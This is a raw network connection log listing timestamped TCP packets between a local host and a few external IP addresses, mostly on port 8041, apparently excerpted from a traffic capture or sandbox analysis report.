Oct 3, 2024 20:42:55.419939995 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:55.424819946 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:56.209515095 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:56.209582090 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:56.211677074 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:56.213248014 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:56.216597080 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:56.218044043 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:56.489041090 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:56.489115953 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.552198887 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.552707911 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.557787895 CEST	8041	49945	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:57.557873964 CEST	49945	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.558088064 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:57.558187962 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.558623075 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:57.563456059 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:58.173618078 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:58.173695087 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:58.174247980 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:58.175721884 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:42:58.178997993 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:58.180490017 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:58.450005054 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:42:58.450109959 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.654598951 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.655025005 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.659749031 CEST	8041	49970	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:02.659813881 CEST	49970	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.659825087 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:02.659893990 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.668082952 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:02.672985077 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:03.529898882 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:03.529994965 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:03.530432940 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:03.531407118 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:03.535214901 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:03.536384106 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:03.840756893 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:03.840869904 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:03.885864973 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:03.890979052 CEST	8041	50020	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:03.891082048 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:03.891438961 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:03.896419048 CEST	8041	50020	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:04.503603935 CEST	8041	50020	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:04.503715038 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.503880024 CEST	8041	50020	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:04.503972054 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.504148960 CEST	50020	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.504652023 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.508893013 CEST	8041	50020	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:04.509463072 CEST	8041	50021	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:04.509550095 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.509799957 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:04.514717102 CEST	8041	50021	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.128961086 CEST	8041	50021	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.129115105 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.129549980 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.129941940 CEST	50022	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.130465984 CEST	8041	50021	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.130520105 CEST	50021	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.135077000 CEST	8041	50021	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.135451078 CEST	8041	50022	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.135533094 CEST	50022	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.135596991 CEST	50022	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:05.141953945 CEST	8041	50022	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:05.142016888 CEST	50022	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:10.169621944 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:10.437664032 CEST	8041	50023	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:10.437758923 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:10.438193083 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:10.443165064 CEST	8041	50023	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.071758986 CEST	8041	50023	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.071834087 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.071924925 CEST	8041	50023	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.071969986 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.072325945 CEST	50023	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.072825909 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.078567982 CEST	8041	50023	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.078900099 CEST	8041	50024	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.078965902 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.079282999 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.084378958 CEST	8041	50024	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.698581934 CEST	8041	50024	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.698605061 CEST	8041	50024	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.698649883 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.698693991 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.699156046 CEST	50024	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.699642897 CEST	50025	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.703912973 CEST	8041	50024	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.704489946 CEST	8041	50025	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.704744101 CEST	50025	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.704936981 CEST	50025	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:11.709994078 CEST	8041	50025	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:11.710067987 CEST	50025	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:14.794449091 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:14.799501896 CEST	8041	50026	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:14.799609900 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:14.799870968 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:14.804616928 CEST	8041	50026	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:15.424710989 CEST	8041	50026	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:15.424964905 CEST	8041	50026	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:15.425095081 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.425095081 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.425309896 CEST	50026	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.425760984 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.430138111 CEST	8041	50026	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:15.430623055 CEST	8041	50027	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:15.430712938 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.431020021 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:15.435790062 CEST	8041	50027	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.062750101 CEST	8041	50027	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.062845945 CEST	8041	50027	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.062880039 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.062925100 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.063189030 CEST	50027	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.063607931 CEST	50028	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.067941904 CEST	8041	50027	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.068389893 CEST	8041	50028	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.068454981 CEST	50028	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.068525076 CEST	50028	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:16.073580027 CEST	8041	50028	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:16.073645115 CEST	50028	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.097820044 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.102775097 CEST	8041	50029	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.102855921 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.103154898 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.107992887 CEST	8041	50029	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.726120949 CEST	8041	50029	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.726289988 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.726408958 CEST	8041	50029	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.726455927 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.726625919 CEST	50029	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.727046967 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.731401920 CEST	8041	50029	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.731806040 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:19.731884003 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.732194901 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:19.737083912 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.728039026 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.728095055 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.728163958 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.728337049 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.728373051 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.728389025 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.728600025 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.728935957 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.728986025 CEST	50030	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.729201078 CEST	50031	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.733809948 CEST	8041	50030	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.734282970 CEST	8041	50031	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:20.734365940 CEST	50031	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:20.734483957 CEST	50031	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:21.019380093 CEST	8041	50031	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:21.019606113 CEST	50031	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:25.788038015 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:25.793108940 CEST	8041	50032	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:25.793198109 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:25.793643951 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:25.798800945 CEST	8041	50032	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:26.428221941 CEST	8041	50032	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:26.428319931 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.428427935 CEST	8041	50032	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:26.428492069 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.429009914 CEST	50032	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.429455996 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.436976910 CEST	8041	50032	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:26.437735081 CEST	8041	50033	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:26.437836885 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.438162088 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:26.445600986 CEST	8041	50033	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.063258886 CEST	8041	50033	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.063399076 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.063453913 CEST	8041	50033	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.063610077 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.063879013 CEST	50033	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.064486980 CEST	50034	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.068923950 CEST	8041	50033	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.069547892 CEST	8041	50034	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.069704056 CEST	50034	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.071319103 CEST	50034	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:27.076308012 CEST	8041	50034	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:27.076390028 CEST	50034	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:30.133112907 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.143980980 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.231400967 CEST	8041	50035	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.231501102 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.232781887 CEST	8041	49987	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.232897043 CEST	49987	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.235605001 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.240447044 CEST	8041	50035	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.859060049 CEST	8041	50035	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.859252930 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.859982014 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.867815971 CEST	8041	50035	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.956091881 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:30.961357117 CEST	8041	50035	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:30.961424112 CEST	50035	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:33.056474924 CEST	50036	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.333153963 CEST	8041	50036	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.337888956 CEST	50036	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.337888956 CEST	50036	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.342998981 CEST	8041	50036	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.963417053 CEST	8041	50036	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.963470936 CEST	8041	50036	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.963599920 CEST	50036	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.964287996 CEST	50036	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.964303017 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.969299078 CEST	8041	50036	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.969316006 CEST	8041	50037	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:33.970175982 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.970175982 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:33.975425005 CEST	8041	50037	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.617934942 CEST	8041	50037	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.618026972 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.618113041 CEST	8041	50037	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.618180037 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.618475914 CEST	50037	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.619046926 CEST	50038	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.623259068 CEST	8041	50037	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.625591040 CEST	8041	50038	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.625715971 CEST	50038	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.625755072 CEST	50038	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:34.632473946 CEST	8041	50038	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:34.632529020 CEST	50038	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:38.643296003 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:38.648757935 CEST	8041	50018	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:38.648813009 CEST	50018	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:39.723465919 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:39.728482008 CEST	8041	50039	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:39.728574038 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:39.728844881 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:39.734062910 CEST	8041	50039	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:40.425404072 CEST	8041	50039	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:40.425461054 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.425839901 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.426294088 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.426575899 CEST	8041	50039	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:40.426624060 CEST	50039	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.432034016 CEST	8041	50039	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:40.432049036 CEST	8041	50040	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:40.432115078 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.536468029 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:40.541430950 CEST	8041	50040	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.075792074 CEST	8041	50040	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.075957060 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.081377029 CEST	8041	50040	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.082694054 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.086256981 CEST	50040	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.091362000 CEST	8041	50040	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.123507023 CEST	50041	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.129108906 CEST	8041	50041	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.129184961 CEST	50041	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.129358053 CEST	50041	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:41.135302067 CEST	8041	50041	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:41.135370970 CEST	50041	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.197978973 CEST	50042	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.203113079 CEST	8041	50042	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.205692053 CEST	50042	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.205692053 CEST	50042	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.210783958 CEST	8041	50042	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.837219000 CEST	8041	50042	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.837371111 CEST	8041	50042	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.838928938 CEST	50042	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.838928938 CEST	50042	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.841341019 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.843904972 CEST	8041	50042	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.846290112 CEST	8041	50043	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:45.849656105 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.849656105 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:45.854600906 CEST	8041	50043	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.490183115 CEST	8041	50043	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.490248919 CEST	8041	50043	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.490262032 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.490313053 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.500797987 CEST	50043	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.503746033 CEST	50044	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.505625010 CEST	8041	50043	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.508923054 CEST	8041	50044	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.508992910 CEST	50044	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.510118961 CEST	50044	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:46.515151978 CEST	8041	50044	80.78.24.30	192.168.2.5
Oct 3, 2024 20:43:46.515208006 CEST	50044	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:43:51.655105114 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:51.660111904 CEST	8041	50045	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:51.667089939 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:51.691086054 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:51.700617075 CEST	8041	50045	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:52.271799088 CEST	8041	50045	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:52.271861076 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:52.272480965 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:52.277333975 CEST	8041	50045	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:52.323453903 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:52.328881979 CEST	8041	50045	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:52.328943014 CEST	50045	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:56.576487064 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:56.581406116 CEST	8041	50046	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:56.581556082 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:56.589694023 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:56.594912052 CEST	8041	50046	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:57.196603060 CEST	8041	50046	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:57.196741104 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:57.197279930 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:57.198812008 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:43:57.202159882 CEST	8041	50046	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:57.203917027 CEST	8041	50046	82.115.223.39	192.168.2.5
Oct 3, 2024 20:43:57.204839945 CEST	50046	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:01.477157116 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:01.483084917 CEST	8041	50047	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:01.487195015 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:01.489126921 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:01.495163918 CEST	8041	50047	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:02.152379990 CEST	8041	50047	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:02.152457952 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:02.192717075 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:02.197789907 CEST	8041	50047	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:02.234534979 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:02.240072966 CEST	8041	50047	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:02.240140915 CEST	50047	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:04.491369963 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:04.491406918 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:04.491463900 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:04.491955042 CEST	50048	443	192.168.2.5	188.114.96.3
